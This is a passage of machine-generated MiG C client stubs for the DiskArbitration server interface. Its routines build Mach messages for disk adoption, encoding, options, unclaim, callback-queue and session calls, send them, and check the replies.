764 | msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, msgh_size, (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
765 | __AfterSendRpc(3, "_DAServerDiskIsClaimed")
766 | if (msg_result != MACH_MSG_SUCCESS) {
767 | __MachMsgErrorWithoutTimeout(msg_result);
768 | { return msg_result; }
769 | }
770 |
771 |
772 | #if defined(__MIG_check__Reply___DAServerDiskIsClaimed_t__defined)
773 | check_result = __MIG_check__Reply___DAServerDiskIsClaimed_t((__Reply___DAServerDiskIsClaimed_t *)Out0P);
774 | if (check_result != MACH_MSG_SUCCESS)
775 | { return check_result; }
776 | #endif /* defined(__MIG_check__Reply___DAServerDiskIsClaimed_t__defined) */
777 |
778 | *_claimed = Out0P->_claimed;
779 |
780 | return KERN_SUCCESS;
781 | }
782 |
783 | #if ( __MigTypeCheck )
784 | #if __MIG_check__Reply__DAServer_subsystem__
785 | #if !defined(__MIG_check__Reply___DAServerDiskSetAdoption_t__defined)
786 | #define __MIG_check__Reply___DAServerDiskSetAdoption_t__defined
787 |
788 | mig_internal kern_return_t __MIG_check__Reply___DAServerDiskSetAdoption_t(__Reply___DAServerDiskSetAdoption_t *Out0P)
789 | {
790 |
791 | typedef __Reply___DAServerDiskSetAdoption_t __Reply __attribute__((unused));
792 | if (Out0P->Head.msgh_id != 104) {
793 | if (Out0P->Head.msgh_id == MACH_NOTIFY_SEND_ONCE)
794 | { return MIG_SERVER_DIED; }
795 | else
796 | { return MIG_REPLY_MISMATCH; }
797 | }
798 |
799 | #if __MigTypeCheck
800 | if ((Out0P->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX) ||
801 | (Out0P->Head.msgh_size != (mach_msg_size_t)sizeof(__Reply)))
802 | { return MIG_TYPE_ERROR ; }
803 | #endif /* __MigTypeCheck */
804 |
805 | {
806 | return Out0P->RetCode;
807 | }
808 | }
809 | #endif /* !defined(__MIG_check__Reply___DAServerDiskSetAdoption_t__defined) */
810 | #endif /* __MIG_check__Reply__DAServer_subsystem__ */
811 | #endif /* ( __MigTypeCheck ) */
812 |
813 |
814 | /* Routine _DAServerDiskSetAdoption */
815 | mig_external kern_return_t _DAServerDiskSetAdoption
816 | (
817 | mach_port_t _session,
818 | caddr_t _disk,
819 | boolean_t _adoption
820 | )
821 | {
822 |
823 | #ifdef __MigPackStructs
824 | #pragma pack(4)
825 | #endif
826 | typedef struct {
827 | mach_msg_header_t Head;
828 | NDR_record_t NDR;
829 | mach_msg_type_number_t _diskOffset; /* MiG doesn't use it */
830 | mach_msg_type_number_t _diskCnt;
831 | char _disk[1024];
832 | boolean_t _adoption;
833 | } Request __attribute__((unused));
834 | #ifdef __MigPackStructs
835 | #pragma pack()
836 | #endif
837 |
838 | #ifdef __MigPackStructs
839 | #pragma pack(4)
840 | #endif
841 | typedef struct {
842 | mach_msg_header_t Head;
843 | NDR_record_t NDR;
844 | kern_return_t RetCode;
845 | mach_msg_trailer_t trailer;
846 | } Reply __attribute__((unused));
847 | #ifdef __MigPackStructs
848 | #pragma pack()
849 | #endif
850 |
851 | #ifdef __MigPackStructs
852 | #pragma pack(4)
853 | #endif
854 | typedef struct {
855 | mach_msg_header_t Head;
856 | NDR_record_t NDR;
857 | kern_return_t RetCode;
858 | } __Reply __attribute__((unused));
859 | #ifdef __MigPackStructs
860 | #pragma pack()
861 | #endif
862 | /*
863 | * typedef struct {
864 | * mach_msg_header_t Head;
865 | * NDR_record_t NDR;
866 | * kern_return_t RetCode;
867 | * } mig_reply_error_t;
868 | */
869 |
870 | union {
871 | Request In;
872 | Reply Out;
873 | } Mess;
874 |
875 | Request *InP = &Mess.In;
876 | Reply *Out0P = &Mess.Out;
877 |
878 | mach_msg_return_t msg_result;
879 | unsigned int msgh_size;
880 | unsigned int msgh_size_delta;
881 |
882 |
883 | #ifdef __MIG_check__Reply___DAServerDiskSetAdoption_t__defined
884 | kern_return_t check_result;
885 | #endif /* __MIG_check__Reply___DAServerDiskSetAdoption_t__defined */
886 |
887 | __DeclareSendRpc(4, "_DAServerDiskSetAdoption")
888 |
889 | InP->NDR = NDR_record;
890 |
891 | #ifdef USING_MIG_STRNCPY_ZEROFILL
892 | if (mig_strncpy_zerofill != NULL) {
893 | InP->_diskCnt = mig_strncpy_zerofill(InP->_disk, _disk, 1024);
894 | } else {
895 | #endif /* USING_MIG_STRNCPY_ZEROFILL */
896 | InP->_diskCnt = mig_strncpy(InP->_disk, _disk, 1024);
897 | #ifdef USING_MIG_STRNCPY_ZEROFILL
898 | }
899 | #endif /* USING_MIG_STRNCPY_ZEROFILL */
900 |
901 | msgh_size_delta = _WALIGN_(InP->_diskCnt);
902 | msgh_size = (mach_msg_size_t)(sizeof(Request) - 1024) + msgh_size_delta;
903 | InP = (Request *) ((pointer_t) InP + msgh_size_delta - 1024);
904 |
905 | InP->_adoption = _adoption;
906 |
907 | InP = &Mess.In;
908 | InP->Head.msgh_bits =
909 | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
910 | /* msgh_size passed as argument */
911 | InP->Head.msgh_request_port = _session;
912 | InP->Head.msgh_reply_port = mig_get_reply_port();
913 | InP->Head.msgh_id = 4;
914 | InP->Head.msgh_reserved = 0;
915 |
916 | /* BEGIN VOUCHER CODE */
917 |
918 | #ifdef USING_VOUCHERS
919 | if (voucher_mach_msg_set != NULL) {
920 | voucher_mach_msg_set(&InP->Head);
921 | }
922 | #endif // USING_VOUCHERS
923 |
924 | /* END VOUCHER CODE */
925 |
926 | __BeforeSendRpc(4, "_DAServerDiskSetAdoption")
927 | msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, msgh_size, (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
928 | __AfterSendRpc(4, "_DAServerDiskSetAdoption")
929 | if (msg_result != MACH_MSG_SUCCESS) {
930 | __MachMsgErrorWithoutTimeout(msg_result);
931 | { return msg_result; }
932 | }
933 |
934 |
935 | #if defined(__MIG_check__Reply___DAServerDiskSetAdoption_t__defined)
936 | check_result = __MIG_check__Reply___DAServerDiskSetAdoption_t((__Reply___DAServerDiskSetAdoption_t *)Out0P);
937 | if (check_result != MACH_MSG_SUCCESS)
938 | { return check_result; }
939 | #endif /* defined(__MIG_check__Reply___DAServerDiskSetAdoption_t__defined) */
940 |
941 | return KERN_SUCCESS;
942 | }
943 |
944 | #if ( __MigTypeCheck )
945 | #if __MIG_check__Reply__DAServer_subsystem__
946 | #if !defined(__MIG_check__Reply___DAServerDiskSetEncoding_t__defined)
947 | #define __MIG_check__Reply___DAServerDiskSetEncoding_t__defined
948 |
949 | mig_internal kern_return_t __MIG_check__Reply___DAServerDiskSetEncoding_t(__Reply___DAServerDiskSetEncoding_t *Out0P)
950 | {
951 |
952 | typedef __Reply___DAServerDiskSetEncoding_t __Reply __attribute__((unused));
953 | if (Out0P->Head.msgh_id != 105) {
954 | if (Out0P->Head.msgh_id == MACH_NOTIFY_SEND_ONCE)
955 | { return MIG_SERVER_DIED; }
956 | else
957 | { return MIG_REPLY_MISMATCH; }
958 | }
959 |
960 | #if __MigTypeCheck
961 | if ((Out0P->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX) ||
962 | (Out0P->Head.msgh_size != (mach_msg_size_t)sizeof(__Reply)))
963 | { return MIG_TYPE_ERROR ; }
964 | #endif /* __MigTypeCheck */
965 |
966 | {
967 | return Out0P->RetCode;
968 | }
969 | }
970 | #endif /* !defined(__MIG_check__Reply___DAServerDiskSetEncoding_t__defined) */
971 | #endif /* __MIG_check__Reply__DAServer_subsystem__ */
972 | #endif /* ( __MigTypeCheck ) */
973 |
974 |
975 | /* Routine _DAServerDiskSetEncoding */
976 | mig_external kern_return_t _DAServerDiskSetEncoding
977 | (
978 | mach_port_t _session,
979 | caddr_t _disk,
980 | int32_t _encoding
981 | )
982 | {
983 |
984 | #ifdef __MigPackStructs
985 | #pragma pack(4)
986 | #endif
987 | typedef struct {
988 | mach_msg_header_t Head;
989 | NDR_record_t NDR;
990 | mach_msg_type_number_t _diskOffset; /* MiG doesn't use it */
991 | mach_msg_type_number_t _diskCnt;
992 | char _disk[1024];
993 | int32_t _encoding;
994 | } Request __attribute__((unused));
995 | #ifdef __MigPackStructs
996 | #pragma pack()
997 | #endif
998 |
999 | #ifdef __MigPackStructs
1000 | #pragma pack(4)
1001 | #endif
1002 | typedef struct {
1003 | mach_msg_header_t Head;
1004 | NDR_record_t NDR;
1005 | kern_return_t RetCode;
1006 | mach_msg_trailer_t trailer;
1007 | } Reply __attribute__((unused));
1008 | #ifdef __MigPackStructs
1009 | #pragma pack()
1010 | #endif
1011 |
1012 | #ifdef __MigPackStructs
1013 | #pragma pack(4)
1014 | #endif
1015 | typedef struct {
1016 | mach_msg_header_t Head;
1017 | NDR_record_t NDR;
1018 | kern_return_t RetCode;
1019 | } __Reply __attribute__((unused));
1020 | #ifdef __MigPackStructs
1021 | #pragma pack()
1022 | #endif
1023 | /*
1024 | * typedef struct {
1025 | * mach_msg_header_t Head;
1026 | * NDR_record_t NDR;
1027 | * kern_return_t RetCode;
1028 | * } mig_reply_error_t;
1029 | */
1030 |
1031 | union {
1032 | Request In;
1033 | Reply Out;
1034 | } Mess;
1035 |
1036 | Request *InP = &Mess.In;
1037 | Reply *Out0P = &Mess.Out;
1038 |
1039 | mach_msg_return_t msg_result;
1040 | unsigned int msgh_size;
1041 | unsigned int msgh_size_delta;
1042 |
1043 |
1044 | #ifdef __MIG_check__Reply___DAServerDiskSetEncoding_t__defined
1045 | kern_return_t check_result;
1046 | #endif /* __MIG_check__Reply___DAServerDiskSetEncoding_t__defined */
1047 |
1048 | __DeclareSendRpc(5, "_DAServerDiskSetEncoding")
1049 |
1050 | InP->NDR = NDR_record;
1051 |
1052 | #ifdef USING_MIG_STRNCPY_ZEROFILL
1053 | if (mig_strncpy_zerofill != NULL) {
1054 | InP->_diskCnt = mig_strncpy_zerofill(InP->_disk, _disk, 1024);
1055 | } else {
1056 | #endif /* USING_MIG_STRNCPY_ZEROFILL */
1057 | InP->_diskCnt = mig_strncpy(InP->_disk, _disk, 1024);
1058 | #ifdef USING_MIG_STRNCPY_ZEROFILL
1059 | }
1060 | #endif /* USING_MIG_STRNCPY_ZEROFILL */
1061 |
1062 | msgh_size_delta = _WALIGN_(InP->_diskCnt);
1063 | msgh_size = (mach_msg_size_t)(sizeof(Request) - 1024) + msgh_size_delta;
1064 | InP = (Request *) ((pointer_t) InP + msgh_size_delta - 1024);
1065 |
1066 | InP->_encoding = _encoding;
1067 |
1068 | InP = &Mess.In;
1069 | InP->Head.msgh_bits =
1070 | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
1071 | /* msgh_size passed as argument */
1072 | InP->Head.msgh_request_port = _session;
1073 | InP->Head.msgh_reply_port = mig_get_reply_port();
1074 | InP->Head.msgh_id = 5;
1075 | InP->Head.msgh_reserved = 0;
1076 |
1077 | /* BEGIN VOUCHER CODE */
1078 |
1079 | #ifdef USING_VOUCHERS
1080 | if (voucher_mach_msg_set != NULL) {
1081 | voucher_mach_msg_set(&InP->Head);
1082 | }
1083 | #endif // USING_VOUCHERS
1084 |
1085 | /* END VOUCHER CODE */
1086 |
1087 | __BeforeSendRpc(5, "_DAServerDiskSetEncoding")
1088 | msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, msgh_size, (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
1089 | __AfterSendRpc(5, "_DAServerDiskSetEncoding")
1090 | if (msg_result != MACH_MSG_SUCCESS) {
1091 | __MachMsgErrorWithoutTimeout(msg_result);
1092 | { return msg_result; }
1093 | }
1094 |
1095 |
1096 | #if defined(__MIG_check__Reply___DAServerDiskSetEncoding_t__defined)
1097 | check_result = __MIG_check__Reply___DAServerDiskSetEncoding_t((__Reply___DAServerDiskSetEncoding_t *)Out0P);
1098 | if (check_result != MACH_MSG_SUCCESS)
1099 | { return check_result; }
1100 | #endif /* defined(__MIG_check__Reply___DAServerDiskSetEncoding_t__defined) */
1101 |
1102 | return KERN_SUCCESS;
1103 | }
1104 |
1105 | #if ( __MigTypeCheck )
1106 | #if __MIG_check__Reply__DAServer_subsystem__
1107 | #if !defined(__MIG_check__Reply___DAServerDiskSetOptions_t__defined)
1108 | #define __MIG_check__Reply___DAServerDiskSetOptions_t__defined
1109 |
1110 | mig_internal kern_return_t __MIG_check__Reply___DAServerDiskSetOptions_t(__Reply___DAServerDiskSetOptions_t *Out0P)
1111 | {
1112 |
1113 | typedef __Reply___DAServerDiskSetOptions_t __Reply __attribute__((unused));
1114 | if (Out0P->Head.msgh_id != 106) {
1115 | if (Out0P->Head.msgh_id == MACH_NOTIFY_SEND_ONCE)
1116 | { return MIG_SERVER_DIED; }
1117 | else
1118 | { return MIG_REPLY_MISMATCH; }
1119 | }
1120 |
1121 | #if __MigTypeCheck
1122 | if ((Out0P->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX) ||
1123 | (Out0P->Head.msgh_size != (mach_msg_size_t)sizeof(__Reply)))
1124 | { return MIG_TYPE_ERROR ; }
1125 | #endif /* __MigTypeCheck */
1126 |
1127 | {
1128 | return Out0P->RetCode;
1129 | }
1130 | }
1131 | #endif /* !defined(__MIG_check__Reply___DAServerDiskSetOptions_t__defined) */
1132 | #endif /* __MIG_check__Reply__DAServer_subsystem__ */
1133 | #endif /* ( __MigTypeCheck ) */
1134 |
1135 |
1136 | /* Routine _DAServerDiskSetOptions */
1137 | mig_external kern_return_t _DAServerDiskSetOptions
1138 | (
1139 | mach_port_t _session,
1140 | caddr_t _disk,
1141 | int32_t _options,
1142 | int32_t _value
1143 | )
1144 | {
1145 |
1146 | #ifdef __MigPackStructs
1147 | #pragma pack(4)
1148 | #endif
1149 | typedef struct {
1150 | mach_msg_header_t Head;
1151 | NDR_record_t NDR;
1152 | mach_msg_type_number_t _diskOffset; /* MiG doesn't use it */
1153 | mach_msg_type_number_t _diskCnt;
1154 | char _disk[1024];
1155 | int32_t _options;
1156 | int32_t _value;
1157 | } Request __attribute__((unused));
1158 | #ifdef __MigPackStructs
1159 | #pragma pack()
1160 | #endif
1161 |
1162 | #ifdef __MigPackStructs
1163 | #pragma pack(4)
1164 | #endif
1165 | typedef struct {
1166 | mach_msg_header_t Head;
1167 | NDR_record_t NDR;
1168 | kern_return_t RetCode;
1169 | mach_msg_trailer_t trailer;
1170 | } Reply __attribute__((unused));
1171 | #ifdef __MigPackStructs
1172 | #pragma pack()
1173 | #endif
1174 |
1175 | #ifdef __MigPackStructs
1176 | #pragma pack(4)
1177 | #endif
1178 | typedef struct {
1179 | mach_msg_header_t Head;
1180 | NDR_record_t NDR;
1181 | kern_return_t RetCode;
1182 | } __Reply __attribute__((unused));
1183 | #ifdef __MigPackStructs
1184 | #pragma pack()
1185 | #endif
1186 | /*
1187 | * typedef struct {
1188 | * mach_msg_header_t Head;
1189 | * NDR_record_t NDR;
1190 | * kern_return_t RetCode;
1191 | * } mig_reply_error_t;
1192 | */
1193 |
1194 | union {
1195 | Request In;
1196 | Reply Out;
1197 | } Mess;
1198 |
1199 | Request *InP = &Mess.In;
1200 | Reply *Out0P = &Mess.Out;
1201 |
1202 | mach_msg_return_t msg_result;
1203 | unsigned int msgh_size;
1204 | unsigned int msgh_size_delta;
1205 |
1206 |
1207 | #ifdef __MIG_check__Reply___DAServerDiskSetOptions_t__defined
1208 | kern_return_t check_result;
1209 | #endif /* __MIG_check__Reply___DAServerDiskSetOptions_t__defined */
1210 |
1211 | __DeclareSendRpc(6, "_DAServerDiskSetOptions")
1212 |
1213 | InP->NDR = NDR_record;
1214 |
1215 | #ifdef USING_MIG_STRNCPY_ZEROFILL
1216 | if (mig_strncpy_zerofill != NULL) {
1217 | InP->_diskCnt = mig_strncpy_zerofill(InP->_disk, _disk, 1024);
1218 | } else {
1219 | #endif /* USING_MIG_STRNCPY_ZEROFILL */
1220 | InP->_diskCnt = mig_strncpy(InP->_disk, _disk, 1024);
1221 | #ifdef USING_MIG_STRNCPY_ZEROFILL
1222 | }
1223 | #endif /* USING_MIG_STRNCPY_ZEROFILL */
1224 |
1225 | msgh_size_delta = _WALIGN_(InP->_diskCnt);
1226 | msgh_size = (mach_msg_size_t)(sizeof(Request) - 1024) + msgh_size_delta;
1227 | InP = (Request *) ((pointer_t) InP + msgh_size_delta - 1024);
1228 |
1229 | InP->_options = _options;
1230 |
1231 | InP->_value = _value;
1232 |
1233 | InP = &Mess.In;
1234 | InP->Head.msgh_bits =
1235 | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
1236 | /* msgh_size passed as argument */
1237 | InP->Head.msgh_request_port = _session;
1238 | InP->Head.msgh_reply_port = mig_get_reply_port();
1239 | InP->Head.msgh_id = 6;
1240 | InP->Head.msgh_reserved = 0;
1241 |
1242 | /* BEGIN VOUCHER CODE */
1243 |
1244 | #ifdef USING_VOUCHERS
1245 | if (voucher_mach_msg_set != NULL) {
1246 | voucher_mach_msg_set(&InP->Head);
1247 | }
1248 | #endif // USING_VOUCHERS
1249 |
1250 | /* END VOUCHER CODE */
1251 |
1252 | __BeforeSendRpc(6, "_DAServerDiskSetOptions")
1253 | msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, msgh_size, (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
1254 | __AfterSendRpc(6, "_DAServerDiskSetOptions")
1255 | if (msg_result != MACH_MSG_SUCCESS) {
1256 | __MachMsgErrorWithoutTimeout(msg_result);
1257 | { return msg_result; }
1258 | }
1259 |
1260 |
1261 | #if defined(__MIG_check__Reply___DAServerDiskSetOptions_t__defined)
1262 | check_result = __MIG_check__Reply___DAServerDiskSetOptions_t((__Reply___DAServerDiskSetOptions_t *)Out0P);
1263 | if (check_result != MACH_MSG_SUCCESS)
1264 | { return check_result; }
1265 | #endif /* defined(__MIG_check__Reply___DAServerDiskSetOptions_t__defined) */
1266 |
1267 | return KERN_SUCCESS;
1268 | }
1269 |
1270 | /* SimpleRoutine _DAServerDiskUnclaim */
1271 | mig_external kern_return_t _DAServerDiskUnclaim
1272 | (
1273 | mach_port_t _session,
1274 | caddr_t _disk
1275 | )
1276 | {
1277 |
1278 | #ifdef __MigPackStructs
1279 | #pragma pack(4)
1280 | #endif
1281 | typedef struct {
1282 | mach_msg_header_t Head;
1283 | NDR_record_t NDR;
1284 | mach_msg_type_number_t _diskOffset; /* MiG doesn't use it */
1285 | mach_msg_type_number_t _diskCnt;
1286 | char _disk[1024];
1287 | } Request __attribute__((unused));
1288 | #ifdef __MigPackStructs
1289 | #pragma pack()
1290 | #endif
1291 | /*
1292 | * typedef struct {
1293 | * mach_msg_header_t Head;
1294 | * NDR_record_t NDR;
1295 | * kern_return_t RetCode;
1296 | * } mig_reply_error_t;
1297 | */
1298 |
1299 | union {
1300 | Request In;
1301 | } Mess;
1302 |
1303 | Request *InP = &Mess.In;
1304 |
1305 | mach_msg_return_t msg_result;
1306 | unsigned int msgh_size;
1307 |
1308 | #ifdef __MIG_check__Reply___DAServerDiskUnclaim_t__defined
1309 | kern_return_t check_result;
1310 | #endif /* __MIG_check__Reply___DAServerDiskUnclaim_t__defined */
1311 |
1312 | __DeclareSendSimple(7, "_DAServerDiskUnclaim")
1313 |
1314 | InP->NDR = NDR_record;
1315 |
1316 | #ifdef USING_MIG_STRNCPY_ZEROFILL
1317 | if (mig_strncpy_zerofill != NULL) {
1318 | InP->_diskCnt = mig_strncpy_zerofill(InP->_disk, _disk, 1024);
1319 | } else {
1320 | #endif /* USING_MIG_STRNCPY_ZEROFILL */
1321 | InP->_diskCnt = mig_strncpy(InP->_disk, _disk, 1024);
1322 | #ifdef USING_MIG_STRNCPY_ZEROFILL
1323 | }
1324 | #endif /* USING_MIG_STRNCPY_ZEROFILL */
1325 |
1326 | msgh_size = (mach_msg_size_t)(sizeof(Request) - 1024) + (_WALIGN_(InP->_diskCnt));
1327 | InP->Head.msgh_bits =
1328 | MACH_MSGH_BITS(19, 0);
1329 | /* msgh_size passed as argument */
1330 | InP->Head.msgh_request_port = _session;
1331 | InP->Head.msgh_reply_port = MACH_PORT_NULL;
1332 | InP->Head.msgh_id = 7;
1333 | InP->Head.msgh_reserved = 0;
1334 |
1335 | /* BEGIN VOUCHER CODE */
1336 |
1337 | #ifdef USING_VOUCHERS
1338 | if (voucher_mach_msg_set != NULL) {
1339 | voucher_mach_msg_set(&InP->Head);
1340 | }
1341 | #endif // USING_VOUCHERS
1342 |
1343 | /* END VOUCHER CODE */
1344 |
1345 | __BeforeSendSimple(7, "_DAServerDiskUnclaim")
1346 | msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
1347 | __AfterSendSimple(7, "_DAServerDiskUnclaim")
1348 | return msg_result;
1349 | }
1350 |
1351 | #if ( __MigTypeCheck )
1352 | #if __MIG_check__Reply__DAServer_subsystem__
1353 | #if !defined(__MIG_check__Reply___DAServerSessionCopyCallbackQueue_t__defined)
1354 | #define __MIG_check__Reply___DAServerSessionCopyCallbackQueue_t__defined
1355 |
1356 | mig_internal kern_return_t __MIG_check__Reply___DAServerSessionCopyCallbackQueue_t(__Reply___DAServerSessionCopyCallbackQueue_t *Out0P)
1357 | {
1358 |
1359 | typedef __Reply___DAServerSessionCopyCallbackQueue_t __Reply __attribute__((unused));
1360 | boolean_t msgh_simple;
1361 | #if __MigTypeCheck
1362 | unsigned int msgh_size;
1363 | #endif /* __MigTypeCheck */
1364 | if (Out0P->Head.msgh_id != 108) {
1365 | if (Out0P->Head.msgh_id == MACH_NOTIFY_SEND_ONCE)
1366 | { return MIG_SERVER_DIED; }
1367 | else
1368 | { return MIG_REPLY_MISMATCH; }
1369 | }
1370 |
1371 | msgh_simple = !(Out0P->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX);
1372 | #if __MigTypeCheck
1373 | msgh_size = Out0P->Head.msgh_size;
1374 |
1375 | if ((msgh_simple || Out0P->msgh_body.msgh_descriptor_count != 1 ||
1376 | msgh_size != (mach_msg_size_t)sizeof(__Reply)) &&
1377 | (!msgh_simple || msgh_size != (mach_msg_size_t)sizeof(mig_reply_error_t) ||
1378 | ((mig_reply_error_t *)Out0P)->RetCode == KERN_SUCCESS))
1379 | { return MIG_TYPE_ERROR ; }
1380 | #endif /* __MigTypeCheck */
1381 |
1382 | if (msgh_simple) {
1383 | return ((mig_reply_error_t *)Out0P)->RetCode;
1384 | }
1385 |
1386 | #if __MigTypeCheck
1387 | if (Out0P->_queue.type != MACH_MSG_OOL_DESCRIPTOR) {
1388 | return MIG_TYPE_ERROR;
1389 | }
1390 | #endif /* __MigTypeCheck */
1391 |
1392 | return MACH_MSG_SUCCESS;
1393 | }
1394 | #endif /* !defined(__MIG_check__Reply___DAServerSessionCopyCallbackQueue_t__defined) */
1395 | #endif /* __MIG_check__Reply__DAServer_subsystem__ */
1396 | #endif /* ( __MigTypeCheck ) */
1397 |
1398 |
1399 | /* Routine _DAServerSessionCopyCallbackQueue */
1400 | mig_external kern_return_t _DAServerSessionCopyCallbackQueue
1401 | (
1402 | mach_port_t _session,
1403 | vm_address_t *_queue,
1404 | mach_msg_type_number_t *_queueCnt
1405 | )
1406 | {
1407 |
1408 | #ifdef __MigPackStructs
1409 | #pragma pack(4)
1410 | #endif
1411 | typedef struct {
1412 | mach_msg_header_t Head;
1413 | } Request __attribute__((unused));
1414 | #ifdef __MigPackStructs
1415 | #pragma pack()
1416 | #endif
1417 |
1418 | #ifdef __MigPackStructs
1419 | #pragma pack(4)
1420 | #endif
1421 | typedef struct {
1422 | mach_msg_header_t Head;
1423 | /* start of the kernel processed data */
1424 | mach_msg_body_t msgh_body;
1425 | mach_msg_ool_descriptor_t _queue;
1426 | /* end of the kernel processed data */
1427 | NDR_record_t NDR;
1428 | mach_msg_type_number_t _queueCnt;
1429 | mach_msg_trailer_t trailer;
1430 | } Reply __attribute__((unused));
1431 | #ifdef __MigPackStructs
1432 | #pragma pack()
1433 | #endif
1434 |
1435 | #ifdef __MigPackStructs
1436 | #pragma pack(4)
1437 | #endif
1438 | typedef struct {
1439 | mach_msg_header_t Head;
1440 | /* start of the kernel processed data */
1441 | mach_msg_body_t msgh_body;
1442 | mach_msg_ool_descriptor_t _queue;
1443 | /* end of the kernel processed data */
1444 | NDR_record_t NDR;
1445 | mach_msg_type_number_t _queueCnt;
1446 | } __Reply __attribute__((unused));
1447 | #ifdef __MigPackStructs
1448 | #pragma pack()
1449 | #endif
1450 | /*
1451 | * typedef struct {
1452 | * mach_msg_header_t Head;
1453 | * NDR_record_t NDR;
1454 | * kern_return_t RetCode;
1455 | * } mig_reply_error_t;
1456 | */
1457 |
1458 | union {
1459 | Request In;
1460 | Reply Out;
1461 | } Mess;
1462 |
1463 | Request *InP = &Mess.In;
1464 | Reply *Out0P = &Mess.Out;
1465 |
1466 | mach_msg_return_t msg_result;
1467 |
1468 | #ifdef __MIG_check__Reply___DAServerSessionCopyCallbackQueue_t__defined
1469 | kern_return_t check_result;
1470 | #endif /* __MIG_check__Reply___DAServerSessionCopyCallbackQueue_t__defined */
1471 |
1472 | __DeclareSendRpc(8, "_DAServerSessionCopyCallbackQueue")
1473 |
1474 | InP->Head.msgh_bits =
1475 | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
1476 | /* msgh_size passed as argument */
1477 | InP->Head.msgh_request_port = _session;
1478 | InP->Head.msgh_reply_port = mig_get_reply_port();
1479 | InP->Head.msgh_id = 8;
1480 | InP->Head.msgh_reserved = 0;
1481 |
1482 | /* BEGIN VOUCHER CODE */
1483 |
1484 | #ifdef USING_VOUCHERS
1485 | if (voucher_mach_msg_set != NULL) {
1486 | voucher_mach_msg_set(&InP->Head);
1487 | }
1488 | #endif // USING_VOUCHERS
1489 |
1490 | /* END VOUCHER CODE */
1491 |
1492 | __BeforeSendRpc(8, "_DAServerSessionCopyCallbackQueue")
1493 | msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
1494 | __AfterSendRpc(8, "_DAServerSessionCopyCallbackQueue")
1495 | if (msg_result != MACH_MSG_SUCCESS) {
1496 | __MachMsgErrorWithoutTimeout(msg_result);
1497 | { return msg_result; }
1498 | }
1499 |
1500 |
1501 | #if defined(__MIG_check__Reply___DAServerSessionCopyCallbackQueue_t__defined)
1502 | check_result = __MIG_check__Reply___DAServerSessionCopyCallbackQueue_t((__Reply___DAServerSessionCopyCallbackQueue_t *)Out0P);
1503 | if (check_result != MACH_MSG_SUCCESS)
1504 | { return check_result; }
1505 | #endif /* defined(__MIG_check__Reply___DAServerSessionCopyCallbackQueue_t__defined) */
1506 |
1507 | *_queue = (vm_address_t)(Out0P->_queue.address);
1508 | *_queueCnt = Out0P->_queueCnt;
1509 |
1510 | return KERN_SUCCESS;
1511 | }
1512 |
1513 | #if ( __MigTypeCheck )
1514 | #if __MIG_check__Reply__DAServer_subsystem__
1515 | #if !defined(__MIG_check__Reply___DAServerSessionCreate_t__defined)
1516 | #define __MIG_check__Reply___DAServerSessionCreate_t__defined
1517 |
1518 | mig_internal kern_return_t __MIG_check__Reply___DAServerSessionCreate_t(__Reply___DAServerSessionCreate_t *Out0P)
1519 | {
1520 |
1521 | typedef __Reply___DAServerSessionCreate_t __Reply __attribute__((unused));
1522 | boolean_t msgh_simple;
1523 | #if __MigTypeCheck
1524 | unsigned int msgh_size;
1525 | #endif /* __MigTypeCheck */
1526 | if (Out0P->Head.msgh_id != 109) {
1527 | if (Out0P->Head.msgh_id == MACH_NOTIFY_SEND_ONCE)
1528 | { return MIG_SERVER_DIED; }
1529 | else
1530 | { return MIG_REPLY_MISMATCH; }
1531 | }
1532 |
1533 | msgh_simple = !(Out0P->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX);
1534 | #if __MigTypeCheck
1535 | msgh_size = Out0P->Head.msgh_size;
1536 |
1537 | if ((msgh_simple || Out0P->msgh_body.msgh_descriptor_count != 1 ||
1538 | msgh_size != (mach_msg_size_t)sizeof(__Reply)) &&
1539 | (!msgh_simple || msgh_size != (mach_msg_size_t)sizeof(mig_reply_error_t) ||
1540 | ((mig_reply_error_t *)Out0P)->RetCode == KERN_SUCCESS))
1541 | { return MIG_TYPE_ERROR ; }
1542 | #endif /* __MigTypeCheck */
1543 |
1544 | if (msgh_simple) {
1545 | return ((mig_reply_error_t *)Out0P)->RetCode;
1546 | }
1547 |
1548 | #if __MigTypeCheck
1549 | if (Out0P->_server.type != MACH_MSG_PORT_DESCRIPTOR ||
1550 | Out0P->_server.disposition != 17) {
1551 | return MIG_TYPE_ERROR;
1552 | }
1553 | #endif /* __MigTypeCheck */
1554 |
1555 | return MACH_MSG_SUCCESS;
1556 | }
1557 | #endif /* !defined(__MIG_check__Reply___DAServerSessionCreate_t__defined) */
1558 | #endif /* __MIG_check__Reply__DAServer_subsystem__ */
